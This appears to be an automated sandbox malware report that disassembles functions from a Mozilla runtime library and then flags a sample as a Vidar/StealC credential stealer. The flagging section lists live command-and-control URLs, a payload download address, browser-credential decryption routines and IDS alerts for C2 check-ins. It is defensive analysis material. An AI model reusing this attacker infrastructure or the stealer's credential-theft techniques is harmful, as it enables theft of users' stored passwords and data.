Function 6CD26470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CD282BC,?,?), ref: 6CD2649B

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD264A9

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD2653F
free.MOZGLUE(?), ref: 6CD2655A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction ID: d50373835378bba29e7f511f026ddf3d682efc7816e859239e615a47b20d309f
Opcode Fuzzy Hash: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction Fuzzy Hash: 203172B5A043159FD700CF14D88469EB7E4FF89318F40442DE99A97751EB34E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCFB4F5
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB502
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB542
free.MOZGLUE(?), ref: 6CCFB578

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction ID: a40880e7f2a1b663d15027883532faaf9af797b65a428f9542d5c60838c87254
Opcode Fuzzy Hash: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction Fuzzy Hash: BF11AC30A04B45C7E3128F2AC814761B3B9FF96318F14970AE95952E12FBB4B1CAC6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CCEF20E,?), ref: 6CD23DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CCEF20E,00000000,?), ref: 6CD23DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD23E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CD23E0E

Part of subcall function 6CD1CC00: GetCurrentProcess.KERNEL32(?,?,6CCE31A7), ref: 6CD1CC0D
Part of subcall function 6CD1CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CCE31A7), ref: 6CD1CC16

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction ID: 932232deac3eb9012a4c875950e8e8dd8a3cd6ddf7b4b79c369715aad410139d
Opcode Fuzzy Hash: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction Fuzzy Hash: E9F012B16002087BEB00AB55DC41DBB376DEB86628F044020FE0857751D735BD2996F7

Uniqueness

Uniqueness Score: -1.00%

Function 6CD385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CD385D3

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CD38725

Strings

map/set<T> too long, xrefs: 6CD38720

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction ID: 5bdd3c33ff1577ffdae55fbe0c14a43ee257cc00c58018cb2122567558ab4299
Opcode Fuzzy Hash: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction Fuzzy Hash: 8D5155B4A00661CFD701CF18C984A56BBF1BF4A318F19C19AD85D9BB62C375E885CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CCEBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCEBE8F

Strings

0, xrefs: 6CCEBE5B

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
Instruction ID: 9ce8c50f0093e5feeedec61eb903bf84777950fa96554aee6a5922a04944f575
Opcode Fuzzy Hash: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
Instruction Fuzzy Hash: F541CF71908345CFC701CF39C491AABB7E4BF8E348F004A5DF984A7610E730DA598B96

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23D19
mozalloc_abort.MOZGLUE(?), ref: 6CD23D6C

Strings

d, xrefs: 6CD23D58

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction ID: c2db0b13435e0428bb15b8710b2d18211c9eed3c6a1f8a7aa3def82121bcf075
Opcode Fuzzy Hash: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction Fuzzy Hash: 7B11E735E04788D7EB019B69CC144EEB77DEF9631CF848218DE459BA62FB34A584C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CD46E22
__Init_thread_footer.LIBCMT ref: 6CD46E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CD46E1D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction ID: 978af2fc5e22b58c1072ae789d981ae3baa2d99a18fe4692d993be652ed812dd
Opcode Fuzzy Hash: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction Fuzzy Hash: E9F02436204680CBFA008BAAD950FA933B5A713218F049175C74686F71C732E50BCAB3

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CCF9EEF

Strings

Infinity, xrefs: 6CCF9EB7
NaN, xrefs: 6CCF9EC1

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: c866ddc65243db6ce508409b43db34542befae9bf6388b1ff59d4eb09ebb8a6b
Instruction ID: 0bf52082c8f5aae534b64ee8b75afb7d6e965d62e604669edf566a193d79268f
Opcode Fuzzy Hash: c866ddc65243db6ce508409b43db34542befae9bf6388b1ff59d4eb09ebb8a6b
Instruction Fuzzy Hash: 44F04F72604E41CBFB00CF5AE945BA03379BB47319F201A15C7540BF60E736755ACEA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CCFBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CCFBEF5

Strings

cryptbase.dll, xrefs: 6CCFBEF0

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction ID: 9e21bd14e9aba9d7627d3f18785d712b44e018d689fec16aee7c06cdc59d2d1b
Opcode Fuzzy Hash: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction Fuzzy Hash: 51D0C731184108F7E640AB528D15B653778AB05715F10C021F75554992D7B1D455DF54

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B628

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CD3B127,?,?,?,?,?,?,?,?), ref: 6CD3B74D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction ID: 3023c93d4db5790fc26536c2a4aaf8f46651acd4a30d9c1e947ab30554201520
Opcode Fuzzy Hash: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction Fuzzy Hash: BA51E0B1A01B25DFDB14DF18C98476AB7B5EB86304F05A129C84AAB7A1D730A804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD36E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CD36EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CD36EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD36F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD36F5C

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction ID: 5a23128bd62d6af7a25476d2220fb9360e7f9621441562f88d47b98a9bd5c8d1
Opcode Fuzzy Hash: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction Fuzzy Hash: 7A31E5B1A1061A8FEB04CF2DCD806AE73F9FB85344F508139D45AD7661EB31E65AC7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CCF0A4D), ref: 6CD4B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CCF0A4D), ref: 6CD4B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CCF0A4D), ref: 6CD4B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CCF0A4D), ref: 6CD4B67F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction ID: d914885bde0420696b8e1515c59e521494983635a3f17228339ddc4c6758b187
Opcode Fuzzy Hash: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction Fuzzy Hash: 2D3124B1A006169FEB10CF58C84466EBBB5FF80304F16C529C9469F261DB31E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F668

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9cc0945347f2bc2f690cd4c3a5a69178a4661881a6042d6e792b28b4f603db29
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C9316F71A04214AFDB14CF1DDCC4A9B77BAEBC8354B188538FA498BF14E631E9448B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326C1
free.MOZGLUE(?), ref: 6CD326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326FF
free.MOZGLUE ref: 6CD3270D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction ID: b9754aed3c8e66e0300cb3450a82dc4c83fccee6dfae4289f2af2938b85b2563
Opcode Fuzzy Hash: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction Fuzzy Hash: 8CF0D6B2B012109BEB009F58D888A5773ADAF4225CB140035EA1AC3B23E331F918C6E5

Uniqueness

Uniqueness Score: -1.00%

Source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}
Source: w3WOJ1ohgD.exe.7428.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Source: http://185.172.128.76/3cd2b41cbde8fc9c.php	Virustotal: Detection: 13%	Perma Link
Source: http://185.172.128.203/tiktok.exe	Virustotal: Detection: 19%	Perma Link
Source: 185.172.128.76/3cd2b41cbde8fc9c.php	Virustotal: Detection: 13%	Perma Link
Source: http://185.172.128.203/tiktok.exet-Disposition:	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.203/tiktok.exe00	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.76	Virustotal: Detection: 9%	Perma Link
Source: http://185.172.128.76/15f649199f40275b/sqlite3.dll	Virustotal: Detection: 8%	Perma Link

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	Virustotal: Detection: 38%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Virustotal: Detection: 38%	Perma Link

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409540
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004155A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00406C10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004094A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040BF90
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CCF6C80

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49731 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49731 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.76:80 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49731 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.76:80 -> 192.168.2.4:49731

Source: Malware configuration extractor	URLs: 185.172.128.76/3cd2b41cbde8fc9c.php
Source: Malware configuration extractor	URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php

Source: Joe Sandbox View	IP Address: 185.172.128.203 185.172.128.203
Source: Joe Sandbox View	IP Address: 185.172.128.76 185.172.128.76

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
